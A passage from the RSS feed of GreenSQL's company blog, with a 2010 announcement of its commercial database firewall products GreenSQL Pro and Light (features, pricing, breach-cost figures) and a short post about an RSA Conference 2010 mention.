<p>And of course, there&#8217;s database. GreenSQL Pro and GreenSQL Light protect <strong>MySQL</strong>, <strong>PostgreSQL</strong> and <strong>Microsoft SQL Server</strong>. As time goes on, we will undoubtedly expand the number of databases that they guard.</p>
<p>Unfortunately, the definition of security solution is a moving target. As long as there are black hats in the world, achieving security will require us to stay alert and responsive to new threats. We at GreenSQL stand guard on the front lines so that you, our users, can go about your businesses in a less stressful and more productive environment.</p>
<p>GreenSQL Light and GreenSQL Pro are security solutions that are simple to implement, effective in protecting your business information assets and will not break your budget.</p>
<p><a href="http://www.greensql.com/content/greensql-releases-commercial-unified-database-security-solutions">Press Release on GreenSQL&#8217;s New Commercial Products</a></p>
<p>See what the rest of the world is reading about GreenSQL PRO and GreenSQL Light. <a href="http://www.greensql.com/press">http://www.greensql.com/press</a></p>
<p>The Cost of Database Breaches</p>
<p>Our groundbreaking news is even more significant in the context of the following numbers.</p>
<p>Studies by <strong>Verizon </strong>and the Ponemon Institute show that in 2008, 285 million records were breached at an average $202 per record cost. But according to a more recent Symantec study, when the records contained personally identifiable information, the cost soared to an astounding $11,000 per record!</p>
<p>With the cost of database breaches reaching such astronomical heights, securing databases has become essential for ensuring business survival.</p>
<p>GreenSQL Pro and Light Protect Microsoft SQL Server</p>
<p>Today, we are proud to announce that GreenSQL Pro and GreenSQL Light are able to secure Microsoft SQL Server databases from both accidental and malicious intrusions. This is a major milestone in our mission to protect the world&#8217;s databases from SQL injection attacks.</p>
<p>Microsoft SQL Server&#8217;s current market share stands at more than 20%.<br />
It has made major inroads into small companies and into departments of larger ones. GreenSQL Pro and GreenSQL Light provide cost-effective solutions to legislative compliance and security needs.</p>
<p>Some GreenSQL Pro Features and Benefits</p>
<p>GreenSQL Pro has many excellent features &#8211; too many, in fact, to detail completely here. However, we would like to draw your attention to the following four.</p>
<p>Virtual patching. Virtual patching is a simple but powerful feature that immediately protects organization database servers against database application exploits even before patches are installed.</p>
<p>Because patch installation sometimes involves taking a database or server down for a period of time, organizations may choose to risk breach rather than incur downtime,  collecting patches and installing them as a group on a monthly, quarterly, or even annual basis.</p>
<p>Virtual patching enables organizations to eliminate the risk in this timing decision! As soon as we get the patch from the responsible party, we update the GreenSQL Pro database firewall with the signature of the specific exploit and we block it. Our clients&#8217; copies of GreenSQL Pro are updated automatically without affecting their operations and their databases are immediately protected.</p>
<p>Caching. By recognizing query recurrence within various timeframes, GreenSQL&#8217;s proprietary, patented caching algorithm improves database performance in all configurations. In those that use many resources, such as audit functionality or reporting, it reduces latency; in others, it can actually improve database performance.</p>
<p>Auditing. GreenSQL Pro&#8217;s audit function has a finer granularity than even the leading enterprise level security leaders. It can differentiate between the last action and the update action.</p>
<p>Policy-based firewall. GreenSQL Pro is a policy-based firewall at a very deep level. For each of the three modes &#8211; learning mode, risk-based IDS/IPS mode, and firewall mode &#8211; a protection profile can be created by type of database, for a specific database (or many), and/or by table (or many). In addition, these policies can be enforced for any groups defined on a server.</p>
<p>Click hear to download GreenSQL Pro &#8211; <a href="http://portal.greensql.com/download">Download</a></p>
<p>We are offering this comprehensive package of features for GreenSQL Light at an extremely affordable $147 per server per month for those making an annual commitment. A perpetual license for GreenSQL Pro can be purchased for only $3,997 per server.</p>
<p>And please note that a single instance of GreenSQL Pro installed as an appliance can secure multiple databases simultaneously. As you can see, we have made GreenSQL Pro not only effective, but very affordable.</p>
<p>A Thank You to Our Early Open Source Adopters</p>
<p>GreenSQL Pro was built on the foundation of our open source GreenSQL product. Our new product exists in great measure because you and tens of thousands of others adopted GreenSQL software for protecting your own databases and stuck with us through our growing pains. We would like you to reap the rewards of your belief in us.</p>
<p>As a special thank you for your thoughtful contributions, suggestions and ideas, we are offering you, our open source users, the opportunity to move to GreenSQL Pro &amp; get a FREE 3 month extension to your GreenSQL Pro license.  - For your special benefit, contact us <a href="http://www.greensql.com/node/101">here</a>.<br />
Click <a href="http://portal.greensql.com/download">hear </a>to download GreenSQL Pro</p>
<p>For more information on GreenSQL Products and their features, benefits, and cost, please visit our new site <a href="http://www.greensql.com/" target="_blank">www.greensql.com</a><br />
We welcome your comments and any suggestions for new features or improvements.</p>
<p>GreenSQL twitter: <a href="http://twitter.com/greensql" target="_blank">twitter.com/greensql</a><br />
Thanks,<br />
The GreenSQL Team</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/84/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/84/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/84/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/84/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/84/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/84/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/84/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/84/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=84&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2010/09/19/greensql-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>

		<media:content url="https://4b872b4983-custmedia.vresp.com/fd095efe16/Final_UDS%202.jpg" medium="image">
			<media:title type="html">Final_UDS 2</media:title>
		</media:content>
	</item>
		<item>
		<title>GreenSQL #4 in Top Ten of Best of Show RSA Conference 2010</title>
		<link>http://greensql.wordpress.com/2010/03/14/greensql-4-in-top-ten-of-best-of-show-rsa-conference-2010/</link>
		<comments>http://greensql.wordpress.com/2010/03/14/greensql-4-in-top-ten-of-best-of-show-rsa-conference-2010/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 12:10:58 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=78</guid>
		<description><![CDATA[Richard Stiennon, a leading security industry analyst and former VP Security Research at Gartner, gave his picks for Best of show at the RSA Conference 2010. Even though GreenSQL was not even officially showing at RSA, the strength of our security solution and its affordability for the small to medium business caught his eye and put [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=78&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div>Richard Stiennon, a leading security industry analyst and former VP Security Research at Gartner, gave his picks for <strong><a href="http://blogs.forbes.com/firewall/2010/03/11/best-of-show-rsa-conference-2010/">Best of show at the RSA Conference 2010</a></strong>.</div>
<div>Even though GreenSQL was not even officially showing at RSA, the strength of our security solution and its affordability for the small to medium business caught his eye and put us right near the top of the pack.</div>
<div></div>
<div><span style="color:#ffffff;">/</span></div>
<div>It means a lot when someone as experienced and knowledgable as Richard gives us his vote of confidence.</div>
<p><!--Session data--></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/greensql.wordpress.com/78/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/greensql.wordpress.com/78/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/greensql.wordpress.com/78/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/greensql.wordpress.com/78/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/greensql.wordpress.com/78/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/greensql.wordpress.com/78/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/greensql.wordpress.com/78/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/greensql.wordpress.com/78/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=greensql.wordpress.com&amp;blog=10847186&amp;post=78&amp;subd=greensql&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://greensql.wordpress.com/2010/03/14/greensql-4-in-top-ten-of-best-of-show-rsa-conference-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f48ca4412290097366628a95a9e20574?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">David Maman</media:title>
		</media:content>
	</item>
	</channel>
</rss>
